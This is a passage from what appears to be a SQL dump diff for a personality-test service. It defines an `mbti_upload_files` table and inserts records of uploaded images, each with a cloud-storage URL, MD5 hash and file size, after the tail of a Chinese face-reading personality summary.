\"额头宽阔饱满,眼神灵动,鼻子圆润,嘴唇适中,下巴圆厚,双耳对称。\", \"personalitySummary\": \"充满活力,思路开放,善于表达兴趣与情感,乐于与人互动,情绪自调能力佳,适合多元探索、团队合作及体验型成长环境。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773286899, 1773286899, 6, 'enterprise');
+
+-- ----------------------------
+-- Table structure for mbti_upload_files
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_upload_files`;
+CREATE TABLE `mbti_upload_files` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID',
+ `path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '存储路径',
+ `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '访问 URL',
+ `driver` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'oss' COMMENT '驱动: oss/local',
+ `hash` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件 MD5',
+ `size` int(11) NULL DEFAULT NULL COMMENT '文件大小(字节)',
+ `mimeType` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MIME 类型',
+ `extension` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '扩展名',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_driver_hash`(`driver`, `hash`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 124 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '上传文件记录表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_upload_files
+-- ----------------------------
+INSERT INTO `mbti_upload_files` VALUES (3, 'mbti/20260213/img_698ecad0724b69.94186115.jpeg', 'https://res.quwanzhi.com/mbti/20260213/img_698ecad0724b69.94186115.jpeg', 'oss', '37913551561757f3c26c515256c3fabb', 4567, 'image/jpeg', 'jpeg', 1770965712, 1770965712);
+INSERT INTO `mbti_upload_files` VALUES (4, 'mbti/20260213/img_698ecb5ddd21a5.66702912.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ecb5ddd21a5.66702912.jpeg', 'oss', '581fe7ab377843cbe8c6edb5f426e120', 4570, 'image/jpeg', 'jpeg', 1770965854, 1770965854);
+INSERT INTO `mbti_upload_files` VALUES (5, 'mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', 'oss', '9a463bb0a7fb80f0254b8a26e39fe410', 4570, 'image/jpeg', 'jpeg', 1770967112, 1770967112);
+INSERT INTO `mbti_upload_files` VALUES (7, 'mbti/20260224/img_699d6169ddb7b6.33742752.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg', 'oss', '97d8174a96a724338220c08ebe096068', 188330, 'image/jpeg', 'jpeg', 1771921770, 1771921770);
+INSERT INTO `mbti_upload_files` VALUES (8, 'mbti/20260226/img_699fb5bb9b58e8.01140699.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png', 'oss', 'e7f99df4bcd33d69bdb5ea2613fdcb9b', 121623, 'image/jpeg', 'png', 1772074427, 1772074427);
+INSERT INTO `mbti_upload_files` VALUES (9, 'mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg', 'oss', '92e066d336c9a92c6a6485e15372daf6', 753777, 'image/jpeg', 'jpeg', 1772074427, 1772074427);
+INSERT INTO `mbti_upload_files` VALUES (10, 'mbti/20260226/img_699fb5bbb93651.77311244.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg', 'oss', '5f0eaee6fc3c22e5980627581dfce816', 903689, 'image/jpeg', 'jpeg', 1772074428, 1772074428);
+INSERT INTO `mbti_upload_files` VALUES (11, 'mbti/20260228/img_69a288c30b4767.42934501.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c30b4767.42934501.jpg', 'oss', '54303b0c7f5e1fefc0c9b9314303cc5c', 56628, 'image/jpeg', 'jpg', 1772259523, 1772259523);
+INSERT INTO `mbti_upload_files` VALUES (12, 'mbti/20260228/img_69a288c316fc40.15562256.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg', 'oss', '83693f93117385e2074f0d41f3427c95', 30089, 'image/jpeg', 'jpg', 1772259523, 1772259523);
+INSERT INTO `mbti_upload_files` VALUES (13, 'mbti/20260228/img_69a288c320ed11.93271163.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg', 'oss', 'c4797312a2322cea2a2d306c7a24dadd', 37709, 'image/jpeg', 'jpg', 1772259523, 1772259523);
+INSERT INTO `mbti_upload_files` VALUES (14, 'mbti/20260228/img_69a28b1e9a9f06.87885663.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1e9a9f06.87885663.jpg', 'oss', '3be645054d5143c122856432c967b2c6', 123348, 'image/jpeg', 'jpg', 1772260126, 1772260126);
+INSERT INTO `mbti_upload_files` VALUES (15, 'mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg', 'oss', '89ec46c3d4c3cd47a19414754fcf3225', 133912, 'image/jpeg', 'jpg', 1772260126, 1772260126);
+INSERT INTO `mbti_upload_files` VALUES (16, 'mbti/20260228/img_69a28b1eb7f794.01724681.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb7f794.01724681.jpg', 'oss', 'a5ae3d7785c5252fdf4ae8fa1b775b01', 134395, 'image/jpeg', 'jpg', 1772260126, 1772260126);
+INSERT INTO `mbti_upload_files` VALUES (17, 'mbti/20260228/img_69a2990992d5c7.81109795.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg', 'oss', '27b45c4caed71ea0b16803d2c5bf72b4', 237939, 'image/jpeg', 'jpg', 1772263689, 1772263689);
+INSERT INTO `mbti_upload_files` VALUES (18, 'mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg', 'oss', '96c4b1821b37fab580fe5f45f57de1dc', 42807, 'image/jpeg', 'jpg', 1772273306, 1772273306);
+INSERT INTO `mbti_upload_files` VALUES (19, 'mbti/20260228/img_69a2be9aca18e7.48721788.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9aca18e7.48721788.jpg', 'oss', '7d4fca2c35e83c61833e35be179e7113', 41834, 'image/jpeg', 'jpg', 1772273306, 1772273306);
+INSERT INTO `mbti_upload_files` VALUES (20, 'mbti/20260228/img_69a2be9ac90d83.92949209.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ac90d83.92949209.jpg', 'oss', '3fd2da6514e199297c86ca9f0fb5ce2c', 42092, 'image/jpeg', 'jpg', 1772273306, 1772273306);
+INSERT INTO `mbti_upload_files` VALUES (21, 'mbti/20260302/img_69a5027b019460.49988894.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', 'oss', '2bc17026cd7f3f710b5de7748f8f9194', 560, 'image/png', 'png', 1772421755, 1772421755);
+INSERT INTO `mbti_upload_files` VALUES (22, 'mbti/20260302/img_69a506f91a7166.23669621.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a7166.23669621.jpg', 'oss', 'af349074364fe14d5bc06ab2de1af1ab', 87871, 'image/jpeg', 'jpg', 1772422905, 1772422905);
+INSERT INTO `mbti_upload_files` VALUES (23, 'mbti/20260302/img_69a506f91de049.43887143.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91de049.43887143.jpg', 'oss', 'e5d86eb62820f4021d0023a73e7676e5', 84501, 'image/jpeg', 'jpg', 1772422905, 1772422905);
+INSERT INTO `mbti_upload_files` VALUES (24, 'mbti/20260302/img_69a506f91a3b45.19754294.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a3b45.19754294.jpg', 'oss', '9bf66bf414cfa6749017c63720a76ec4', 79820, 'image/jpeg', 'jpg', 1772422905, 1772422905);
+INSERT INTO `mbti_upload_files` VALUES (25, 'mbti/20260302/img_69a51b2d7ce365.67901942.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a51b2d7ce365.67901942.jpg', 'oss', '326045712ac33916089e8ef0bafcd003', 21005, 'image/jpeg', 'jpg', 1772428077, 1772428077);
+INSERT INTO `mbti_upload_files` VALUES (26, 'mbti/20260303/img_69a6844f999b87.63229945.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png', 'oss', 'e9c53355b41ca176a6e59dd51a5c78ec', 98521, 'image/jpeg', 'png', 1772520528, 1772520528);
+INSERT INTO `mbti_upload_files` VALUES (27, 'mbti/20260303/img_69a6844f943017.17894021.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg', 'oss', 'c35fb9d393b36f1183a6feff7924059a', 165765, 'image/jpeg', 'jpg', 1772520528, 1772520528);
+INSERT INTO `mbti_upload_files` VALUES (28, 'mbti/20260303/img_69a6844f95c675.65376842.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png', 'oss', '5eb86c160a190bc4ac76dfb7254caaba', 100588, 'image/jpeg', 'png', 1772520528, 1772520528);
+INSERT INTO `mbti_upload_files` VALUES (29, 'mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', 'oss', '832d10dd83b4e3cde3c16a58ba3b48ac', 4278, 'image/jpeg', 'jpg', 1772535605, 1772535605);
+INSERT INTO `mbti_upload_files` VALUES (30, 'mbti/20260303/img_69a6bf65e22245.39292597.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e22245.39292597.jpg', 'oss', '3b9c6fd5cbc9ffa5d27d1fcc63f2529b', 105212, 'image/jpeg', 'jpg', 1772535654, 1772535654);
+INSERT INTO `mbti_upload_files` VALUES (31, 'mbti/20260303/img_69a6bf65e87472.26700122.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e87472.26700122.jpg', 'oss', 'f62c11ee04ee8b7c45d338d65440828f', 106974, 'image/jpeg', 'jpg', 1772535654, 1772535654);
+INSERT INTO `mbti_upload_files` VALUES (32, 'mbti/20260303/img_69a6bf65eab8e8.93002415.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65eab8e8.93002415.jpg', 'oss', 'c4b7862fba01e7572a9fbb692ca93ac2', 108085, 'image/jpeg', 'jpg', 1772535654, 1772535654);
+INSERT INTO `mbti_upload_files` VALUES (33, 'mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg', 'oss', '66ae33cc7beedade807e560ab0758a77', 130819, 'image/jpeg', 'jpg', 1772535706, 1772535706);
+INSERT INTO `mbti_upload_files` VALUES (34, 'mbti/20260303/img_69a6bf9a061600.44383458.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg', 'oss', 'bd3516219793e724bcef670d0c75a397', 129203, 'image/jpeg', 'jpg', 1772535706, 1772535706);
+INSERT INTO `mbti_upload_files` VALUES (35, 'mbti/20260303/img_69a6bf99ee6e38.59427615.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg', 'oss', 'dabdd1d6da43c1f28d2763e5d88eb616', 122807, 'image/jpeg', 'jpg', 1772535706, 1772535706);
+INSERT INTO `mbti_upload_files` VALUES (36, 'mbti/20260303/img_69a6bfd222d9d6.63864125.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd222d9d6.63864125.jpg', 'oss', 'c8364605bd9ab6e7bccd25be9c88dd40', 109690, 'image/jpeg', 'jpg', 1772535762, 1772535762);
+INSERT INTO `mbti_upload_files` VALUES (37, 'mbti/20260303/img_69a6bfd22f52f8.29998949.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd22f52f8.29998949.jpg', 'oss', '1a8f71164cf6355088eac5fe51a43332', 115557, 'image/jpeg', 'jpg', 1772535762, 1772535762);
+INSERT INTO `mbti_upload_files` VALUES (38, 'mbti/20260303/img_69a6bfd25fb710.46559655.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd25fb710.46559655.jpg', 'oss', 'b1618aee81a107a2446367486e7b15fb', 120923, 'image/jpeg', 'jpg', 1772535764, 1772535764);
+INSERT INTO `mbti_upload_files` VALUES (39, 'mbti/20260304/img_69a7d993a31264.28523714.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png', 'oss', '7a238a038da6d5130c5a71c92aa51776', 59139, 'image/png', 'png', 1772607891, 1772607891);
+INSERT INTO `mbti_upload_files` VALUES (40, 'mbti/20260304/img_69a7ee569a56a7.90410485.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7ee569a56a7.90410485.png', 'oss', 'd9678bc69b24ea37b6c88ad83dc9ec8a', 58195, 'image/png', 'png', 1772613206, 1772613206);
+INSERT INTO `mbti_upload_files` VALUES (41, 'mbti/20260304/img_69a7f4bb529f73.42463703.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7f4bb529f73.42463703.png', 'oss', '20e4e82888525a3ec090187cb416e17b', 54753, 'image/png', 'png', 1772614843, 1772614843);
+INSERT INTO `mbti_upload_files` VALUES (42, 'mbti/20260305/img_69a92fe4320f98.44874477.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260305/img_69a92fe4320f98.44874477.png', 'oss', '2be5305fef3d4f09ae494774eaa7f158', 176555, 'image/png', 'png', 1772695524, 1772695524);
+INSERT INTO `mbti_upload_files` VALUES (43, 'mbti/20260305/img_69a93009e76ba4.00229379.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260305/img_69a93009e76ba4.00229379.png', 'oss', '7c45fe7e65fd901be08390d0467780bc', 1020534, 'image/png', 'png', 1772695562, 1772695562);
+INSERT INTO `mbti_upload_files` VALUES (44, 'mbti/20260310/img_69af801d8441f3.91458120.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png', 'oss', 'f5e623af3f383d66ba8c2d71d7ee8514', 392310, 'image/png', 'png', 1773109278, 1773109278);
+INSERT INTO `mbti_upload_files` VALUES (45, 'mbti/20260310/img_69afc570e96293.69974803.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570e96293.69974803.jpg', 'oss', '20b939f680d6bf3154d0344cd64f77bb', 197820, 'image/jpeg', 'jpg', 1773127025, 1773127025);
+INSERT INTO `mbti_upload_files` VALUES (46, 'mbti/20260310/img_69afc570e2cab1.94981947.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570e2cab1.94981947.jpg', 'oss', 'e4c32699227a63a2965ad919266dc260', 203490, 'image/jpeg', 'jpg', 1773127025, 1773127025);
+INSERT INTO `mbti_upload_files` VALUES (47, 'mbti/20260310/img_69afc570ed56b4.72858503.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570ed56b4.72858503.jpg', 'oss', '3c1c899e7a604d4eb5c2ee15eeb301fd', 203421, 'image/jpeg', 'jpg', 1773127025, 1773127025);
+INSERT INTO `mbti_upload_files` VALUES (48, 'mbti/20260310/img_69afc606a57237.43033150.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606a57237.43033150.jpg', 'oss', '4be1aa248ced86f591bb060f355fbd51', 267603, 'image/jpeg', 'jpg', 1773127174, 1773127174);
+INSERT INTO `mbti_upload_files` VALUES (49, 'mbti/20260310/img_69afc606bdb774.70305849.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606bdb774.70305849.jpg', 'oss', '234b04c50567e049306ce16abd48c73d', 266973, 'image/jpeg', 'jpg', 1773127175, 1773127175);
+INSERT INTO `mbti_upload_files` VALUES (50, 'mbti/20260310/img_69afc606dde213.19573884.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606dde213.19573884.jpg', 'oss', 'e029e630cfda7d25052c76c5ad9736fd', 267240, 'image/jpeg', 'jpg', 1773127176, 1773127176);
+INSERT INTO `mbti_upload_files` VALUES (51, 'mbti/20260310/img_69afc7fc2926a7.60132403.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc7fc2926a7.60132403.jpg', 'oss', '1a3fcc3231fd1caad238d251952c65d5', 96512, 'image/jpeg', 'jpg', 1773127676, 1773127676);
+INSERT INTO `mbti_upload_files` VALUES (52, 'mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', 'oss', '810969db03135c061f2c757a4aaee4cf', 3739, 'image/jpeg', 'jpeg', 1773127886, 1773127886);
+INSERT INTO `mbti_upload_files` VALUES (53, 'mbti/20260310/img_69afd37bd4cf40.31378569.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg', 'oss', '5b024629ed8b57c01a8ed60345e517bb', 251545, 'image/jpeg', 'jpg', 1773130620, 1773130620);
+INSERT INTO `mbti_upload_files` VALUES (54, 'mbti/20260310/img_69afd37be9c8f5.89224540.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg', 'oss', 'f31aae364ba9b2a8d021a53a32125d07', 265650, 'image/jpeg', 'jpg', 1773130620, 1773130620);
+INSERT INTO `mbti_upload_files` VALUES (55, 'mbti/20260310/img_69afd37bed97c8.21150938.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg', 'oss', '3af1ed5cb4d9b56fa94d8c232de1d2e5', 249447, 'image/jpeg', 'jpg', 1773130621, 1773130621);
+INSERT INTO `mbti_upload_files` VALUES (56, 'mbti/20260310/img_69afdf0dee57b7.63622949.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0dee57b7.63622949.jpg', 'oss', '6344cf4169a1b8b922b50ff6ed5a6af3', 108930, 'image/jpeg', 'jpg', 1773133582, 1773133582);
+INSERT INTO `mbti_upload_files` VALUES (57, 'mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg', 'oss', '563e035636b21df3d70f2c7c5a67ef82', 260914, 'image/jpeg', 'jpg', 1773133582, 1773133582);
+INSERT INTO `mbti_upload_files` VALUES (58, 'mbti/20260310/img_69afdf0e208c94.70625181.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e208c94.70625181.jpg', 'oss', 'b282006653e3049c61d5e8d7c75d0224', 241849, 'image/jpeg', 'jpg', 1773133582, 1773133582);
+INSERT INTO `mbti_upload_files` VALUES (59, 'mbti/20260310/img_69afede13bda54.82616891.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede13bda54.82616891.jpg', 'oss', '3e37bc6c5c1f906b5a71e66e623d7bb1', 39009, 'image/jpeg', 'jpg', 1773137377, 1773137377);
+INSERT INTO `mbti_upload_files` VALUES (60, 'mbti/20260310/img_69afede1498fb4.13618523.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede1498fb4.13618523.jpg', 'oss', '4b2899e0d705037dea5bccc3095c100e', 41406, 'image/jpeg', 'jpg', 1773137377, 1773137377);
+INSERT INTO `mbti_upload_files` VALUES (61, 'mbti/20260310/img_69afede146fe35.05214291.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede146fe35.05214291.jpg', 'oss', '4ecc5969a624b2fedf1735508cb9927d', 34525, 'image/jpeg', 'jpg', 1773137377, 1773137377);
+INSERT INTO `mbti_upload_files` VALUES (62, 'mbti/20260310/img_69afee07d6f7a9.18847402.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d6f7a9.18847402.jpg', 'oss', '329f969ee25c319e364651dbfb3ebb10', 38585, 'image/jpeg', 'jpg', 1773137415, 1773137415);
+INSERT INTO `mbti_upload_files` VALUES (63, 'mbti/20260310/img_69afee07df7c91.55175853.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07df7c91.55175853.jpg', 'oss', '10c2ffac870a37534aaa70726e833c4b', 40416, 'image/jpeg', 'jpg', 1773137415, 1773137415);
+INSERT INTO `mbti_upload_files` VALUES (64, 'mbti/20260310/img_69afee07d96652.90735834.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d96652.90735834.jpg', 'oss', '1e126a209f9151b79f51cc2ff514b2b6', 36305, 'image/jpeg', 'jpg', 1773137416, 1773137416);
+INSERT INTO `mbti_upload_files` VALUES (65, 'mbti/20260311/img_69b122201c4ba5.05315027.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif', 'oss', '395eebe591cf2c31b245cde43c083017', 140002, 'image/jpeg', 'jfif', 1773216290, 1773216290);
+INSERT INTO `mbti_upload_files` VALUES (66, 'mbti/20260311/img_69b122215f6c00.42725600.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif', 'oss', 'b44035a5c43461e55478617b4dfb8f24', 147500, 'image/jpeg', 'jfif', 1773216292, 1773216292);
+INSERT INTO `mbti_upload_files` VALUES (67, 'mbti/20260311/img_69b1222162dfb3.33149884.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif', 'oss', '930bb139f81eb4602e8277503f85dc19', 159211, 'image/jpeg', 'jfif', 1773216293, 1773216293);
+INSERT INTO `mbti_upload_files` VALUES (68, 'mbti/20260311/img_69b1229473c992.26199330.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif', 'oss', '7a3038f690f4e2149a54a28556fe8f1f', 126656, 'image/jpeg', 'jfif', 1773216404, 1773216404);
+INSERT INTO `mbti_upload_files` VALUES (69, 'mbti/20260311/img_69b12294706aa6.28073503.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif', 'oss', '2b9c5669701817d84f80eee55cc8ecd2', 136450, 'image/jpeg', 'jfif', 1773216404, 1773216404);
+INSERT INTO `mbti_upload_files` VALUES (70, 'mbti/20260311/img_69b122946a54c6.37603583.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif', 'oss', '9b48790fddccaf294b050cc8f49d71d8', 142878, 'image/jpeg', 'jfif', 1773216404, 1773216404);
+INSERT INTO `mbti_upload_files` VALUES (71, 'mbti/20260311/img_69b128d154dcb8.48696739.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154dcb8.48696739.jpg', 'oss', 'c49cc6b635abcc1a69389c72b9806fc1', 126764, 'image/jpeg', 'jpg', 1773218001, 1773218001);
+INSERT INTO `mbti_upload_files` VALUES (72, 'mbti/20260311/img_69b128d154df95.81703712.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154df95.81703712.jpg', 'oss', '2e910aabcbd4c059507da065ce66e530', 99583, 'image/jpeg', 'jpg', 1773218001, 1773218001);
+INSERT INTO `mbti_upload_files` VALUES (73, 'mbti/20260311/img_69b128d15502b8.73103052.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d15502b8.73103052.jpg', 'oss', '7cf9f2be739fd083df9d13e13b6d6a9a', 99851, 'image/jpeg', 'jpg', 1773218001, 1773218001);
+INSERT INTO `mbti_upload_files` VALUES (74, 'mbti/20260311/img_69b129125da054.82470920.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg', 'oss', 'fdec09189ad31de155fd312389f31877', 109422, 'image/jpeg', 'jpg', 1773218066, 1773218066);
+INSERT INTO `mbti_upload_files` VALUES (75, 'mbti/20260311/img_69b12912575b20.55637872.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg', 'oss', 'c6f76ff24b55b4455f47c0aa65e86eb4', 108104, 'image/jpeg', 'jpg', 1773218066, 1773218066);
+INSERT INTO `mbti_upload_files` VALUES (76, 'mbti/20260311/img_69b1291258aed8.61725123.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg', 'oss', '514bbf423470dfaebca34840db697f5c', 110522, 'image/jpeg', 'jpg', 1773218066, 1773218066);
+INSERT INTO `mbti_upload_files` VALUES (77, 'mbti/20260311/img_69b12c1ef0a945.93981460.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1ef0a945.93981460.jpg', 'oss', '855f2c94fd9d441b9679a44121c5db35', 121566, 'image/jpeg', 'jpg', 1773218847, 1773218847);
+INSERT INTO `mbti_upload_files` VALUES (78, 'mbti/20260311/img_69b12c1f03ae52.89961796.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f03ae52.89961796.jpg', 'oss', 'bc66272b2846da28d72008e10b8411ee', 116232, 'image/jpeg', 'jpg', 1773218847, 1773218847);
+INSERT INTO `mbti_upload_files` VALUES (79, 'mbti/20260311/img_69b12c1f0baf53.84218867.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f0baf53.84218867.jpg', 'oss', 'd6c5ce4427962417f38e705d90cb4ca4', 121973, 'image/jpeg', 'jpg', 1773218847, 1773218847);
+INSERT INTO `mbti_upload_files` VALUES (80, 'mbti/20260311/img_69b12e04905ca8.13020785.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04905ca8.13020785.jpg', 'oss', 'e317f454a4c121ed4cc5900254c4f5d1', 117972, 'image/jpeg', 'jpg', 1773219333, 1773219333);
+INSERT INTO `mbti_upload_files` VALUES (81, 'mbti/20260311/img_69b12e04924b36.48351571.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04924b36.48351571.jpg', 'oss', '1573210c9170e713bb8787a0c66b8495', 123427, 'image/jpeg', 'jpg', 1773219333, 1773219333);
